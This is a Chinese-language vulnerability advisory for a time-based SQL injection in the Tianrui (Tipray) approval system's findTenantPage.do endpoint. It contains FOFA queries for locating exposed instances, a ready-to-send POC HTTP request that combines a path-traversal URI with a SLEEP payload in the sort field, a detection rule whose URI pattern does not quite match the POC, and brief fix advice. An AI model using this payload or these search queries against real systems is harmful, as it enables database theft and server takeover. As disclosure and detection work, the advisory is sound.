

天锐绿盾审批系统 findTenantPage.do 存在SQL注入漏洞

天锐绿盾审批系统 findTenantPage.do 存在SQL注入漏洞，攻击者可执行sql语句导致数据信息泄露或者导致服务器被控制。

影响版本

天锐绿盘云文档安全管理

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/lddsm/" || title="天锐绿盘" || title=="Tipray LeaderDisk" || body="location.href=location.href+"/lddsm""

POC/EXP:

```
POST /trwfe/service/.%2E/invoke/findTenantPage.do HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/x-www-form-urlencoded

sort=(SELECT * FROM (SELECT(SLEEP(5))))x)
```



sonrt规则:

```
alert http any any -> $HOME_NET any (  
  msg:"TianRui Approval System - MySQL Time-Based SQLi in findTenantPage.do";  
  flow:to_server,established;  
  http.method; content:"POST";  
  http.uri; pcre:"/\\/invoker\\/findTenantPage\\.do$/i";  
  http.client_body; content:"sort=";  
  pcre:"/sort=\\(SELECT\\s+\\*\\s+FROM\\s+\\(SELECT\\(SLEEP\\(\\d+\\)\\)\\)\\)x\\)/i";  
  metadata:service http;  
  metadata:affected_product "天锐绿盾审批系统";  
  metadata:vulnerability_type "MySQL Time-Based SQL Injection";  
  classtype:sql-injection;  
  sid:1000416;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。